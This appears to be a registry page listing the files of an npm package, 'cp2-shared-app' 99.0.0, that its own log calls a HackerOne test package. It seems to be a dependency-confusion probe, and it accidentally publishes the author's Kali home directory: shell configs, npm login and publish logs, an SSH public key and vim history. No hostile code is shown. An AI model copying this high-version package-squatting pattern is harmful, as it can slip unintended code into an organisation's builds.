cp2-shared-app 99.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cp2-shared-app might be problematic. Click here for more details.

package/.bashrc ADDED
@@ -0,0 +1,156 @@
1
+ # ~/.bashrc: executed by bash(1) for non-login shells.
2
+ # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
3
+ # for examples
4
+
5
+ # If not running interactively, don't do anything
6
+ case $- in
7
+ *i*) ;;
8
+ *) return;;
9
+ esac
10
+
11
+ # don't put duplicate lines or lines starting with space in the history.
12
+ # See bash(1) for more options
13
+ HISTCONTROL=ignoreboth
14
+
15
+ # append to the history file, don't overwrite it
16
+ shopt -s histappend
17
+
18
+ # for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
19
+ HISTSIZE=1000
20
+ HISTFILESIZE=2000
21
+
22
+ # check the window size after each command and, if necessary,
23
+ # update the values of LINES and COLUMNS.
24
+ shopt -s checkwinsize
25
+
26
+ # If set, the pattern "**" used in a pathname expansion context will
27
+ # match all files and zero or more directories and subdirectories.
28
+ #shopt -s globstar
29
+
30
+ # make less more friendly for non-text input files, see lesspipe(1)
31
+ #[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
32
+
33
+ # set variable identifying the chroot you work in (used in the prompt below)
34
+ if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
35
+ debian_chroot=$(cat /etc/debian_chroot)
36
+ fi
37
+
38
+ # set a fancy prompt (non-color, unless we know we "want" color)
39
+ case "$TERM" in
40
+ xterm-color|*-256color) color_prompt=yes;;
41
+ esac
42
+
43
+ # uncomment for a colored prompt, if the terminal has the capability; turned
44
+ # off by default to not distract the user: the focus in a terminal window
45
+ # should be on the output of commands, not on the prompt
46
+ force_color_prompt=yes
47
+
48
+ if [ -n "$force_color_prompt" ]; then
49
+ if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
50
+ # We have color support; assume it's compliant with Ecma-48
51
+ # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
52
+ # a case would tend to support setf rather than setaf.)
53
+ color_prompt=yes
54
+ else
55
+ color_prompt=
56
+ fi
57
+ fi
58
+
59
+ # The following block is surrounded by two delimiters.
60
+ # These delimiters must not be modified. Thanks.
61
+ # START KALI CONFIG VARIABLES
62
+ PROMPT_ALTERNATIVE=twoline
63
+ NEWLINE_BEFORE_PROMPT=yes
64
+ # STOP KALI CONFIG VARIABLES
65
+
66
+ if [ "$color_prompt" = yes ]; then
67
+ # override default virtualenv indicator in prompt
68
+ VIRTUAL_ENV_DISABLE_PROMPT=1
69
+
70
+ prompt_color='\[\033[;32m\]'
71
+ info_color='\[\033[1;34m\]'
72
+ prompt_symbol=㉿
73
+ if [ "$EUID" -eq 0 ]; then # Change prompt colors for root user
74
+ prompt_color='\[\033[;94m\]'
75
+ info_color='\[\033[1;31m\]'
76
+ # Skull emoji for root terminal
77
+ #prompt_symbol=💀
78
+ fi
79
+ case "$PROMPT_ALTERNATIVE" in
80
+ twoline)
81
+ PS1=$prompt_color'┌──${debian_chroot:+($debian_chroot)──}${VIRTUAL_ENV:+(\[\033[0;1m\]$(basename $VIRTUAL_ENV)'$prompt_color')}('$info_color'\u'$prompt_symbol'\h'$prompt_color')-[\[\033[0;1m\]\w'$prompt_color']\n'$prompt_color'└─'$info_color'\$\[\033[0m\] ';;
82
+ oneline)
83
+ PS1='${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV)) }${debian_chroot:+($debian_chroot)}'$info_color'\u@\h\[\033[00m\]:'$prompt_color'\[\033[01m\]\w\[\033[00m\]\$ ';;
84
+ backtrack)
85
+ PS1='${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV)) }${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ';;
86
+ esac
87
+ unset prompt_color
88
+ unset info_color
89
+ unset prompt_symbol
90
+ else
91
+ PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
92
+ fi
93
+ unset color_prompt force_color_prompt
94
+
95
+ # If this is an xterm set the title to user@host:dir
96
+ case "$TERM" in
97
+ xterm*|rxvt*|Eterm|aterm|kterm|gnome*|alacritty)
98
+ PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
99
+ ;;
100
+ *)
101
+ ;;
102
+ esac
103
+
104
+ [ "$NEWLINE_BEFORE_PROMPT" = yes ] && PROMPT_COMMAND="PROMPT_COMMAND=echo"
105
+
106
+ # enable color support of ls, less and man, and also add handy aliases
107
+ if [ -x /usr/bin/dircolors ]; then
108
+ test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
109
+ export LS_COLORS="$LS_COLORS:ow=30;44:" # fix ls color for folders with 777 permissions
110
+
111
+ alias ls='ls --color=auto'
112
+ #alias dir='dir --color=auto'
113
+ #alias vdir='vdir --color=auto'
114
+
115
+ alias grep='grep --color=auto'
116
+ alias fgrep='fgrep --color=auto'
117
+ alias egrep='egrep --color=auto'
118
+ alias diff='diff --color=auto'
119
+ alias ip='ip --color=auto'
120
+
121
+ export LESS_TERMCAP_mb=$'\E[1;31m' # begin blink
122
+ export LESS_TERMCAP_md=$'\E[1;36m' # begin bold
123
+ export LESS_TERMCAP_me=$'\E[0m' # reset bold/blink
124
+ export LESS_TERMCAP_so=$'\E[01;33m' # begin reverse video
125
+ export LESS_TERMCAP_se=$'\E[0m' # reset reverse video
126
+ export LESS_TERMCAP_us=$'\E[1;32m' # begin underline
127
+ export LESS_TERMCAP_ue=$'\E[0m' # reset underline
128
+ fi
129
+
130
+ # colored GCC warnings and errors
131
+ #export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
132
+
133
+ # some more ls aliases
134
+ alias ll='ls -l'
135
+ alias la='ls -A'
136
+ alias l='ls -CF'
137
+
138
+ # Alias definitions.
139
+ # You may want to put all your additions into a separate file like
140
+ # ~/.bash_aliases, instead of adding them here directly.
141
+ # See /usr/share/doc/bash-doc/examples in the bash-doc package.
142
+
143
+ if [ -f ~/.bash_aliases ]; then
144
+ . ~/.bash_aliases
145
+ fi
146
+
147
+ # enable programmable completion features (you don't need to enable
148
+ # this, if it's already enabled in /etc/bash.bashrc and /etc/profile
149
+ # sources /etc/bash.bashrc).
150
+ if ! shopt -oq posix; then
151
+ if [ -f /usr/share/bash-completion/bash_completion ]; then
152
+ . /usr/share/bash-completion/bash_completion
153
+ elif [ -f /etc/bash_completion ]; then
154
+ . /etc/bash_completion
155
+ fi
156
+ fi
@@ -0,0 +1,18 @@
1
+ # ~/.bashrc: executed by bash(1) for non-login shells.
2
+
3
+ # Note: PS1 and umask are already set in /etc/profile. You should not
4
+ # need this unless you want different defaults for root.
5
+ # PS1='${debian_chroot:+($debian_chroot)}\h:\w\$ '
6
+ # umask 022
7
+
8
+ # You may uncomment the following lines if you want `ls' to be colorized:
9
+ # export LS_OPTIONS='--color=auto'
10
+ # eval "$(dircolors)"
11
+ # alias ls='ls $LS_OPTIONS'
12
+ # alias ll='ls $LS_OPTIONS -l'
13
+ # alias l='ls $LS_OPTIONS -lA'
14
+ #
15
+ # Some more alias to avoid making mistakes:
16
+ # alias rm='rm -i'
17
+ # alias cp='cp -i'
18
+ # alias mv='mv -i'
@@ -0,0 +1,35 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 39ms
7
+ 6 timing config:load:builtin Completed in 41ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 0ms
15
+ 14 timing config:load:validate Completed in 1ms
16
+ 15 timing config:load:credentials Completed in 3ms
17
+ 16 timing config:load:setEnvs Completed in 3ms
18
+ 17 timing config:load Completed in 61ms
19
+ 18 timing npm:load:configload Completed in 62ms
20
+ 19 timing npm:load:mkdirpcache Completed in 3ms
21
+ 20 timing npm:load:mkdirplogs Completed in 2ms
22
+ 21 verbose title npm
23
+ 22 verbose argv "--version"
24
+ 23 timing npm:load:setTitle Completed in 2ms
25
+ 24 timing config:load:flatten Completed in 7ms
26
+ 25 timing npm:load:display Completed in 16ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T03_28_11_263Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 14ms
30
+ 29 timing npm:load:timers Completed in 0ms
31
+ 30 timing npm:load:configScope Completed in 0ms
32
+ 31 timing npm:load Completed in 101ms
33
+ 32 verbose exit 0
34
+ 33 timing npm Completed in 118ms
35
+ 34 info ok
@@ -0,0 +1,70 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 4ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 39ms
7
+ 6 timing config:load:builtin Completed in 39ms
8
+ 7 timing config:load:cli Completed in 3ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 0ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 0ms
15
+ 14 timing config:load:validate Completed in 1ms
16
+ 15 timing config:load:credentials Completed in 2ms
17
+ 16 timing config:load:setEnvs Completed in 1ms
18
+ 17 timing config:load Completed in 54ms
19
+ 18 timing npm:load:configload Completed in 55ms
20
+ 19 timing npm:load:mkdirpcache Completed in 1ms
21
+ 20 timing npm:load:mkdirplogs Completed in 1ms
22
+ 21 verbose title npm login
23
+ 22 verbose argv "login"
24
+ 23 timing npm:load:setTitle Completed in 2ms
25
+ 24 timing config:load:flatten Completed in 6ms
26
+ 25 timing npm:load:display Completed in 10ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T03_37_15_299Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 14ms
30
+ 29 timing npm:load:timers Completed in 0ms
31
+ 30 timing npm:load:configScope Completed in 0ms
32
+ 31 timing npm:load Completed in 88ms
33
+ 32 warn adduser `adduser` will be split into `login` and `register` in a future version. `adduser` will become an alias of `register`. `login` (currently an alias) will become its own command.
34
+ 33 notice Log in on https://registry.npmjs.org/
35
+ 34 verbose web login before first POST
36
+ 35 silly logfile done cleaning log files
37
+ 36 http fetch POST 401 https://registry.npmjs.org/-/v1/login 218ms
38
+ 37 verbose web login not supported, trying couch
39
+ 38 verbose login before first PUT {
40
+ 38 verbose login _id: 'org.couchdb.user:jared33',
41
+ 38 verbose login name: 'jared33',
42
+ 38 verbose login password: 'XXXXX',
43
+ 38 verbose login type: 'user',
44
+ 38 verbose login roles: [],
45
+ 38 verbose login date: '2022-08-28T03:37:42.725Z'
46
+ 38 verbose login }
47
+ 39 notice Please check your email for a one-time password (OTP)
48
+ 40 http fetch PUT 401 https://registry.npmjs.org/-/user/org.couchdb.user:jared33 1082ms
49
+ 41 timing command:login Completed in 63101ms
50
+ 42 verbose stack Error: canceled
51
+ 42 verbose stack at Interface.<anonymous> (/usr/share/nodejs/read/lib/read.js:66:13)
52
+ 42 verbose stack at Interface.emit (node:events:527:28)
53
+ 42 verbose stack at Interface._ttyWrite (node:readline:1081:16)
54
+ 42 verbose stack at ReadStream.onkeypress (node:readline:288:10)
55
+ 42 verbose stack at ReadStream.emit (node:events:527:28)
56
+ 42 verbose stack at emitKeys (node:internal/readline/utils:358:14)
57
+ 42 verbose stack at emitKeys.next (<anonymous>)
58
+ 42 verbose stack at ReadStream.onData (node:internal/readline/emitKeypressEvents:61:36)
59
+ 42 verbose stack at ReadStream.emit (node:events:527:28)
60
+ 42 verbose stack at addChunk (node:internal/streams/readable:315:12)
61
+ 43 verbose cwd /root
62
+ 44 verbose Linux 5.18.0-kali5-amd64
63
+ 45 verbose node v16.15.1
64
+ 46 verbose npm v8.17.0
65
+ 47 error canceled
66
+ 48 verbose exit 1
67
+ 49 timing npm Completed in 63228ms
68
+ 50 verbose code 1
69
+ 51 error A complete log of this run can be found in:
70
+ 51 error /root/.npm/_logs/2022-08-28T03_37_15_299Z-debug-0.log
@@ -0,0 +1,63 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 4ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 42ms
7
+ 6 timing config:load:builtin Completed in 42ms
8
+ 7 timing config:load:cli Completed in 5ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 0ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 0ms
15
+ 14 timing config:load:validate Completed in 1ms
16
+ 15 timing config:load:credentials Completed in 3ms
17
+ 16 timing config:load:setEnvs Completed in 2ms
18
+ 17 timing config:load Completed in 63ms
19
+ 18 timing npm:load:configload Completed in 64ms
20
+ 19 timing npm:load:mkdirpcache Completed in 3ms
21
+ 20 timing npm:load:mkdirplogs Completed in 1ms
22
+ 21 verbose title npm login
23
+ 22 verbose argv "login"
24
+ 23 timing npm:load:setTitle Completed in 3ms
25
+ 24 timing config:load:flatten Completed in 8ms
26
+ 25 timing npm:load:display Completed in 14ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T03_38_28_748Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 25ms
30
+ 29 timing npm:load:timers Completed in 1ms
31
+ 30 timing npm:load:configScope Completed in 1ms
32
+ 31 timing npm:load Completed in 113ms
33
+ 32 warn adduser `adduser` will be split into `login` and `register` in a future version. `adduser` will become an alias of `register`. `login` (currently an alias) will become its own command.
34
+ 33 notice Log in on https://registry.npmjs.org/
35
+ 34 verbose web login before first POST
36
+ 35 silly logfile done cleaning log files
37
+ 36 http fetch POST 401 https://registry.npmjs.org/-/v1/login 222ms
38
+ 37 verbose web login not supported, trying couch
39
+ 38 verbose login before first PUT {
40
+ 38 verbose login _id: 'org.couchdb.user:jared33',
41
+ 38 verbose login name: 'jared33',
42
+ 38 verbose login password: 'XXXXX',
43
+ 38 verbose login type: 'user',
44
+ 38 verbose login roles: [],
45
+ 38 verbose login date: '2022-08-28T03:38:46.510Z'
46
+ 38 verbose login }
47
+ 39 notice Please check your email for a one-time password (OTP)
48
+ 40 http fetch PUT 401 https://registry.npmjs.org/-/user/org.couchdb.user:jared33 1199ms
49
+ 41 verbose login before first PUT {
50
+ 41 verbose login _id: 'org.couchdb.user:jared33',
51
+ 41 verbose login name: 'jared33',
52
+ 41 verbose login password: 'XXXXX',
53
+ 41 verbose login type: 'user',
54
+ 41 verbose login roles: [],
55
+ 41 verbose login date: '2022-08-28T03:39:13.616Z'
56
+ 41 verbose login }
57
+ 42 http fetch PUT 201 https://registry.npmjs.org/-/user/org.couchdb.user:jared33 1277ms
58
+ 43 info login Authorized user jared33
59
+ 44 timing command:login Completed in 46011ms
60
+ 45 verbose exit 0
61
+ 46 timing config:load:flatten Completed in 2ms
62
+ 47 timing npm Completed in 46163ms
63
+ 48 info ok
@@ -0,0 +1,48 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 5ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 46ms
7
+ 6 timing config:load:builtin Completed in 46ms
8
+ 7 timing config:load:cli Completed in 3ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:validate Completed in 1ms
16
+ 15 timing config:load:credentials Completed in 2ms
17
+ 16 timing config:load:setEnvs Completed in 2ms
18
+ 17 timing config:load Completed in 69ms
19
+ 18 timing npm:load:configload Completed in 70ms
20
+ 19 timing npm:load:mkdirpcache Completed in 2ms
21
+ 20 timing npm:load:mkdirplogs Completed in 1ms
22
+ 21 verbose title npm init
23
+ 22 verbose argv "init"
24
+ 23 timing npm:load:setTitle Completed in 3ms
25
+ 24 timing config:load:flatten Completed in 9ms
26
+ 25 timing npm:load:display Completed in 23ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T03_39_31_344Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 18ms
30
+ 29 timing npm:load:timers Completed in 0ms
31
+ 30 timing npm:load:configScope Completed in 0ms
32
+ 31 timing npm:load Completed in 120ms
33
+ 32 silly logfile done cleaning log files
34
+ 33 silly package data {
35
+ 33 silly package data name: 'cp2-shared-app',
36
+ 33 silly package data version: '99.0.0',
37
+ 33 silly package data description: 'Test package for hackerone ',
38
+ 33 silly package data main: 'index.js',
39
+ 33 silly package data scripts: { test: '"echo \\"Error: no test specified\\" && exit 1"' },
40
+ 33 silly package data keywords: [ 'manulife' ],
41
+ 33 silly package data author: 'manulife',
42
+ 33 silly package data license: 'ISC'
43
+ 33 silly package data }
44
+ 34 info init written successfully
45
+ 35 timing command:init Completed in 308162ms
46
+ 36 verbose exit 0
47
+ 37 timing npm Completed in 308599ms
48
+ 38 info ok
@@ -0,0 +1,61 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 4ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 45ms
7
+ 6 timing config:load:builtin Completed in 45ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 0ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 0ms
15
+ 14 timing config:load:validate Completed in 0ms
16
+ 15 timing config:load:credentials Completed in 1ms
17
+ 16 timing config:load:setEnvs Completed in 2ms
18
+ 17 timing config:load Completed in 65ms
19
+ 18 timing npm:load:configload Completed in 65ms
20
+ 19 timing npm:load:mkdirpcache Completed in 3ms
21
+ 20 timing npm:load:mkdirplogs Completed in 0ms
22
+ 21 verbose title npm publish
23
+ 22 verbose argv "publish"
24
+ 23 timing npm:load:setTitle Completed in 2ms
25
+ 24 timing config:load:flatten Completed in 6ms
26
+ 25 timing npm:load:display Completed in 10ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T04_11_15_405Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 12ms
30
+ 29 timing npm:load:timers Completed in 0ms
31
+ 30 timing npm:load:configScope Completed in 0ms
32
+ 31 timing npm:load Completed in 97ms
33
+ 32 verbose publish [ '.' ]
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing command:publish Completed in 21ms
36
+ 35 verbose stack Error: Failed to parse json
37
+ 35 verbose stack Unexpected string in JSON at position 208 while parsing '{
38
+ 35 verbose stack "name": "cp2-shared-app",
39
+ 35 verbose stack "version'
40
+ 35 verbose stack at parseError (/usr/share/nodejs/read-package-json/lib/read-json.js:601:11)
41
+ 35 verbose stack at parseJson (/usr/share/nodejs/read-package-json/lib/read-json.js:115:17)
42
+ 35 verbose stack at /usr/share/nodejs/read-package-json/lib/read-json.js:50:5
43
+ 35 verbose stack at /usr/share/nodejs/graceful-fs/graceful-fs.js:123:16
44
+ 35 verbose stack at FSReqCallback.readFileAfterClose [as oncomplete] (node:internal/fs/read_file_context:68:3)
45
+ 36 verbose cwd /root
46
+ 37 verbose Linux 5.18.0-kali5-amd64
47
+ 38 verbose node v16.15.1
48
+ 39 verbose npm v8.17.0
49
+ 40 error code EJSONPARSE
50
+ 41 error path /root/package.json
51
+ 42 error JSON.parse Failed to parse json
52
+ 42 error JSON.parse Unexpected string in JSON at position 208 while parsing '{
53
+ 42 error JSON.parse "name": "cp2-shared-app",
54
+ 42 error JSON.parse "version'
55
+ 43 error JSON.parse Failed to parse JSON data.
56
+ 43 error JSON.parse Note: package.json must be actual JSON, not just JavaScript.
57
+ 44 verbose exit 1
58
+ 45 timing npm Completed in 168ms
59
+ 46 verbose code 1
60
+ 47 error A complete log of this run can be found in:
61
+ 47 error /root/.npm/_logs/2022-08-28T04_11_15_405Z-debug-0.log
@@ -0,0 +1,61 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 8ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 72ms
7
+ 6 timing config:load:builtin Completed in 73ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 4ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:validate Completed in 2ms
16
+ 15 timing config:load:credentials Completed in 3ms
17
+ 16 timing config:load:setEnvs Completed in 2ms
18
+ 17 timing config:load Completed in 103ms
19
+ 18 timing npm:load:configload Completed in 103ms
20
+ 19 timing npm:load:mkdirpcache Completed in 3ms
21
+ 20 timing npm:load:mkdirplogs Completed in 0ms
22
+ 21 verbose title npm publish
23
+ 22 verbose argv "publish"
24
+ 23 timing npm:load:setTitle Completed in 3ms
25
+ 24 timing config:load:flatten Completed in 8ms
26
+ 25 timing npm:load:display Completed in 15ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T23_26_53_448Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 24ms
30
+ 29 timing npm:load:timers Completed in 1ms
31
+ 30 timing npm:load:configScope Completed in 0ms
32
+ 31 timing npm:load Completed in 156ms
33
+ 32 verbose publish [ '.' ]
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing command:publish Completed in 31ms
36
+ 35 verbose stack Error: Failed to parse json
37
+ 35 verbose stack Unexpected string in JSON at position 208 while parsing '{
38
+ 35 verbose stack "name": "cp2-shared-app",
39
+ 35 verbose stack "version'
40
+ 35 verbose stack at parseError (/usr/share/nodejs/read-package-json/lib/read-json.js:601:11)
41
+ 35 verbose stack at parseJson (/usr/share/nodejs/read-package-json/lib/read-json.js:115:17)
42
+ 35 verbose stack at /usr/share/nodejs/read-package-json/lib/read-json.js:50:5
43
+ 35 verbose stack at /usr/share/nodejs/graceful-fs/graceful-fs.js:123:16
44
+ 35 verbose stack at FSReqCallback.readFileAfterClose [as oncomplete] (node:internal/fs/read_file_context:68:3)
45
+ 36 verbose cwd /root
46
+ 37 verbose Linux 5.18.0-kali5-amd64
47
+ 38 verbose node v16.15.1
48
+ 39 verbose npm v8.17.0
49
+ 40 error code EJSONPARSE
50
+ 41 error path /root/package.json
51
+ 42 error JSON.parse Failed to parse json
52
+ 42 error JSON.parse Unexpected string in JSON at position 208 while parsing '{
53
+ 42 error JSON.parse "name": "cp2-shared-app",
54
+ 42 error JSON.parse "version'
55
+ 43 error JSON.parse Failed to parse JSON data.
56
+ 43 error JSON.parse Note: package.json must be actual JSON, not just JavaScript.
57
+ 44 verbose exit 1
58
+ 45 timing npm Completed in 270ms
59
+ 46 verbose code 1
60
+ 47 error A complete log of this run can be found in:
61
+ 47 error /root/.npm/_logs/2022-08-28T23_26_53_448Z-debug-0.log
@@ -0,0 +1,34 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@8.17.0
3
+ 2 info using node@v16.15.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 7ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 54ms
7
+ 6 timing config:load:builtin Completed in 56ms
8
+ 7 timing config:load:cli Completed in 5ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 3ms
11
+ 10 timing config:load:file:/root/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:validate Completed in 1ms
16
+ 15 timing config:load:credentials Completed in 3ms
17
+ 16 timing config:load:setEnvs Completed in 3ms
18
+ 17 timing config:load Completed in 85ms
19
+ 18 timing npm:load:configload Completed in 85ms
20
+ 19 timing npm:load:mkdirpcache Completed in 2ms
21
+ 20 timing npm:load:mkdirplogs Completed in 1ms
22
+ 21 verbose title npm publish
23
+ 22 verbose argv "publish"
24
+ 23 timing npm:load:setTitle Completed in 6ms
25
+ 24 timing config:load:flatten Completed in 12ms
26
+ 25 timing npm:load:display Completed in 21ms
27
+ 26 verbose logfile logs-max:10 dir:/root/.npm/_logs
28
+ 27 verbose logfile /root/.npm/_logs/2022-08-28T23_33_21_866Z-debug-0.log
29
+ 28 timing npm:load:logFile Completed in 23ms
30
+ 29 timing npm:load:timers Completed in 0ms
31
+ 30 timing npm:load:configScope Completed in 0ms
32
+ 31 timing npm:load Completed in 145ms
33
+ 32 verbose publish [ '.' ]
34
+ 33 silly logfile done cleaning log files
File without changes
package/.profile ADDED
@@ -0,0 +1,9 @@
1
+ # ~/.profile: executed by Bourne-compatible login shells.
2
+
3
+ if [ "$BASH" ]; then
4
+ if [ -f ~/.bashrc ]; then
5
+ . ~/.bashrc
6
+ fi
7
+ fi
8
+
9
+ mesg n 2> /dev/null || true
@@ -0,0 +1 @@
1
+ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfQZGua7lgUAOlj/wVN1BC3qH78bbaKRHuV41I7WJO4X+i/NixaKjIcA9H2Up1hpR4lfzM1cavfS47Ckrn+wZF7NngDkdr1CwWnCey6uDuh8526FhMaGDVag/bULLoV9C72o5XzR11PV9+VbakS2oue+m+2DBlDHPe4ikvVAExwQFtRVFvKt/tpLb5kiVTaSw2gLfmiY+yxJiks8sDPovs4NWJGaLeWgqTHVY86Hw01vAT54lvzaPZYHz5NyGNnIPZyP3U38X+I+zBPyCEBByBkbk6VNts9MzyfPPnZRdyseB4wAoJKgdD8nQ/OsfcXJs3Oqamg6S15lts7bOEMAfT4XrbGMFHcFfe55TCWTWx5ieLr6J8IrjpeRh2KHYBYyPpqtTtj9ujWREsCyK+SAwXwodXN6jqbtMZdP63Ku3Cs/yr6yUb4xEp1s3v26MrMeXsz/5PI4QfVEIa3QZS30F21tTNqhHideQfAC9Db/5A6JkBGcbTdvAcpLuW+ys7kBM= shayna&jared@laptopv1
package/.viminfo ADDED
@@ -0,0 +1,89 @@
1
+ # This viminfo file was generated by Vim 9.0.
2
+ # You may edit it if you're careful!
3
+
4
+ # Viminfo version
5
+ |1,4
6
+
7
+ # Value of 'encoding' when this file was written
8
+ *encoding=utf-8
9
+
10
+
11
+ # hlsearch on (H) or off (h):
12
+ ~h
13
+ # Command Line History (newest to oldest):
14
+ :wq
15
+ |2,0,1661729594,,"wq"
16
+
17
+ # Search String History (newest to oldest):
18
+
19
+ # Expression History (newest to oldest):
20
+
21
+ # Input Line History (newest to oldest):
22
+
23
+ # Debug Line History (newest to oldest):
24
+
25
+ # Registers:
26
+
27
+ # File marks:
28
+ '0 7 11 ~/package.json
29
+ |4,48,7,11,1661729594,"~/package.json"
30
+ '1 46 0 ~/index.js
31
+ |4,49,46,0,1661659843,"~/index.js"
32
+ '2 8 32 ~/package.json
33
+ |4,50,8,32,1661658443,"~/package.json"
34
+ '3 8 32 ~/package.json
35
+ |4,51,8,32,1661658443,"~/package.json"
36
+
37
+ # Jumplist (newest first):
38
+ -' 7 11 ~/package.json
39
+ |4,39,7,11,1661729594,"~/package.json"
40
+ -' 8 32 ~/package.json
41
+ |4,39,8,32,1661729250,"~/package.json"
42
+ -' 46 0 ~/index.js
43
+ |4,39,46,0,1661659843,"~/index.js"
44
+ -' 46 0 ~/index.js
45
+ |4,39,46,0,1661659843,"~/index.js"
46
+ -' 1 0 ~/index.js
47
+ |4,39,1,0,1661658453,"~/index.js"
48
+ -' 1 0 ~/index.js
49
+ |4,39,1,0,1661658453,"~/index.js"
50
